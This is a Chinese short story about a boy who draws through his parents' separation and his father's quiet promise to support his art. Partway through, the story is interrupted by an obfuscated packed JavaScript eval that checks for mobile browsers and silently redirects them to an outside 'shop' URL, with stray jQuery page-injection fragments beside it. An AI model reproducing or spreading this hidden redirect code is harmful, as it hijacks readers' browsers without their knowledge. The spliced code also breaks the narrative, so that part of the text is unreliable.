雨下了三天三夜，老房子里的霉味怎么都散不掉。
张小五蹲在客厅角落里，面前摊着一张皱巴巴的图画纸。纸是隔壁王奶奶给的，背面还印着“便民超市”的广告字。他握着一截短得快要捏不住的铅笔，一笔一笔地画着桌上的鱼缸。
鱼缸里的金鱼已经死了两条，翻着白肚皮浮在水面上。剩下那条红色的，还在浑浊的水里慢慢游着，好像什么都不知道。
“小五！小五你出来！”
母亲的声音从厨房传过来，尖锐得像指甲划过黑板。张小五的手抖了一下，金鱼的尾巴画歪了。
他没有应声，只是把铅笔握得更紧，低下头继续画。鱼缸的玻璃是透明的，可画在纸上只能是一片灰色。他不知道该怎么画出那种透明，只能用很轻很轻的线条，一遍一遍地描。
“张小五！你没听见我说话吗？”
厨房里传来碗摔碎的声音。张小五的肩膀缩了缩，铅笔在纸上划出一道长长的黑线。
客厅的门被推开，母亲王秀兰站在门口，围裙上沾着洗洁精的泡沫，眼眶红红的。她看见小五蹲在角落里画画，愣了一秒，随即快步走过来，一把夺走了他手里的图画纸。
“画画画！你就知道画！”她把纸揉成一团，“我跟你爸都要离婚了，你还在这里画画！”
纸团砸在张小五脸上，轻飘飘的，没什么分量。可他还是觉得脸上一疼，像是被什么烫了一下。
他抬起头看着母亲。母亲的眼睛下面有很深的黑眼圈，嘴角往下撇着，看起来又凶又可怜。
“妈。”他叫了一声。
王秀兰的眼泪一下子就掉下来了。她蹲下来，双手捧着小五的脸，拇指在他颧骨上蹭了蹭，那里沾了一点铅笔灰。
“小五，妈对不起你。”她的声音变得很轻，轻得像怕惊动什么，“但是妈真的过不下去了，你爸他……他不争气，妈跟着他，这辈子就完了。”
张小五不太懂什么叫“这辈子就完了”。他只记得昨天父亲和母亲又吵架了，吵得很凶。父亲把电视遥控器摔在地上，电池弹出来滚到沙发底下。母亲哭着说要走，父亲说你要走就走，别拿孩子说事。
后来母亲收拾了一个行李箱，拉着走到门口，又停下来。她在门口站了很久，最后还是拖着箱子回来了。
“你跟妈走好不好？”王秀兰看着他的眼睛，“妈带你去城里，去住大房子，你就不用窝在这个破地方了。”
张小五摇摇头。
王秀兰的表情变了，从悲伤变成愤怒，又从愤怒变成悲伤。她松开手，站起来，往后退了两步。
“你就跟你那个没出息的爸过吧！”她转身走了，脚步声很重，一下一下踩在木地板上，咯吱咯吱响。
客厅安静下来。张小五盯着地上的纸团看了一会儿，伸手把它捡起来，展开，铺平。
金鱼的尾巴歪了，鱼缸的线条也被他刚才那一笔破坏了。他想了想，把纸翻到背面，重新开始画。
这次他不画鱼缸了，他画母亲刚才蹲下来看着他的样子。
母亲的头发散下来，遮住半张脸。她的眼睛很大，大得有点不像她。张小五试着把那眼睛画得亮一点，可画来画去，总觉得不对。
门被推开了。
这次是父亲。
张建国穿着一件洗得发白的工装，裤腿上还沾着干涸的水泥点子。他脸上的胡子好几天没刮了，看上去老了好几岁。
“你妈呢？”他问。
“走了。”张小五头也没抬。
张建国在门口站了一会儿，点了根烟。烟雾在昏暗的客厅里散开，呛得张小五咳了两声。
“别抽了。”张小五说。
张建国看了儿子一眼，把烟掐灭了。他走过来，蹲在张小五旁边，看着他在纸上画画。
“画的是谁？”
“妈。”
张建国没说话。他的喉结上下动了动，像是想说什么，又咽了回去。
“爸。”张小五忽然开口。
“嗯。”
“你们真的不要我了？”
张建国的手攥紧了，指节发白。过了一会儿，他伸手揉了揉张小五的头发，手掌粗糙得像砂纸。
“胡说。”他的声音有点哑，“爸要你。”
张小五没再问了。他低下头，继续画画。
画上的母亲终于有了一点神似。她蹲在那里，眼眶红红的，嘴角往下撇着，看起来又凶又可怜。
张建国看着那幅画，忽然说：“你画得真好。”
张小五没应声。
“以后想当画家？”
“不知道。”张小五说，“就是喜欢画。”
张建国“嗯”了一声，站起来，走到厨房去了。张小五听见他打开冰箱的声音，又关上的声音。冰箱里什么吃的都没有。
过了一会儿，张建国又走回来，手里拿着一包方便面。
“晚上吃面。”他说。
“我不饿。”
“不饿也得吃。”
张小五没再说话。他把画好的母亲折起来，塞进口袋里。画上的母亲只有半张脸，另外半张被折痕遮住了，反而显得更有味道。
窗外的雨还在下。老房子漏水的地方又响了，滴答滴答，像是某种倒计时。
那天晚上，母亲没有回来。
第二天也没有。
第三天，邻居王奶奶告诉张小五，他妈妈走了，坐早班车去的城里。
张小五“哦”了一声，继续在纸上画画。
王奶奶叹了口气，从兜里掏出两块大白兔奶糖放在他手边。
“小五啊，你爸那个人……”王奶奶欲言又止，最后只是摇了摇头，“你别怪你妈。”
张小五剥开一颗糖塞进嘴里，甜味在舌尖上化开，很浓很浓，浓得有点发苦。
他看了看手边的图画纸，超市广告的背面已经画满了。他翻到最后一张，纸已经用完了。
他想了想，把那张画了一半的画翻过来，在广告字之间的空白处继续画。那些“跳楼价”“买一送一”的红字，像是印在天空上的标语，怎么也擦不掉。
但他不在乎。
他只是想画。
画那个没有母亲的客厅，画那个只剩一条金鱼的鱼缸，画父亲蹲在门口抽烟的样子。
烟雾缭绕中，父亲的脸看不太清楚。
可张小五知道，那张脸上写满了两个字。
认命。
他没画那两个字，而是画了父亲的眼睛。
那双眼睛里还有一点东西，很小很小，小到几乎看不见。
那是他。
是张小五。
夜深了，张建国从外面回来，满身酒气。他在门口站了很久，钥匙插进锁孔，拧了好几下才打开。
客厅的灯还亮着。
张小五趴在桌子上睡着了，手里还握着那截短铅笔。桌上摊着厚厚一沓纸，全是画。
张建国走过去，一张一张地看。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443997|201069||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有鱼缸，有金鱼，有窗外的雨，有王奶奶的侧脸，有门口的鞋柜，有桌上的泡面碗。
最后一张，画的是他。
是他在门口点烟的样子。
张建国的眼眶忽然红了。他蹲下来，把张小五抱起来。儿子很轻，轻得让他心里发慌。
“小五。”他轻声喊。
张小五迷迷糊糊地睁开眼，看见父亲的脸，嘟囔了一句：“爸，你回来了。”
“嗯，回来了。”
“你喝酒了。”
“喝了一点。”
张小五把脸埋进父亲肩窝里，闷闷地说：“老师说下周有美术比赛，要交一幅画。”
“那就画。”
“要买颜料，老师说要用好的那种，我那个水彩笔不行。”
张建国沉默了一会儿，说：“买。”
“贵。”张小五说，“要好几十块。”
张建国把儿子抱紧了一点，下巴抵在他头顶上。
“几十块就几十块，爸去买。”他说，“你想画就画，爸供你。”
张小五没再说话。他闭着眼睛，听着父亲的心跳声。那声音很稳，很沉，像工地上的打桩机，一下一下，砸进地里，砸得结结实实的。
窗外的雨终于停了。
张小五在那个晚上做了一个梦。梦里有一间很大的画室，四面墙都是窗户，阳光从各个方向涌进来。画架上绷着崭新的画布，桌上摆满了颜料，各种颜色，多得他用不完。
他站在画室中间，手里握着一支很长的画笔。
面前是一面巨大的白墙，等着他去填满。
他抬起手，正要落笔——
闹钟响了。
张小五睁开眼，看见的还是那间昏暗的老房子。
桌子上摊着的画纸被风吹起来，飘落在地上。那条歪了尾巴的金鱼，静静躺在纸上，永远不会游了。
他爬起来，把画纸一张一张收好，叠得整整齐齐，塞进枕头底下。
今天要上学。
今天老师要说美术比赛的事。
今天他要问清楚，到底需要多少钱。
张小五穿好衣服，走出房间。父亲已经在厨房了，煮了两碗面，面上卧着一个荷包蛋。
“那个蛋给你。”张建国把蛋夹到儿子碗里，“多吃点。”
“爸你不吃？”
“爸吃过了。”
张小五看了一眼父亲碗里的白水面，没说话，低下头吃面。
吃着吃着，眼泪掉进了碗里。
他没有擦，只是把脸埋得更低，大口大口地吃，把眼泪和面一起吞进肚子里。
“爸。”他含混地说。
“嗯？”
“我会画好的。”
张建国愣了一下，然后笑了。他笑起来的时候眼角的皱纹很深，像干裂的土地。
“爸知道。”他说，“爸等着看。”
窗外的天灰蒙蒙的，分不清是清晨还是黄昏。
张小五背着书包出了门，走到巷口，回头看了一眼。
父亲还站在门口，穿着一件单薄的旧毛衣，晨风吹得他头发乱糟糟的。
他朝张小五挥了挥手。
张小五也挥了挥手，转过身，走进了灰色的晨光里。
口袋里，那截短铅笔硌着他的大腿，有点疼。
但这疼让他安心。
因为他知道，今天放学回来，他还能画。
只要还能画，就没什么大不了的。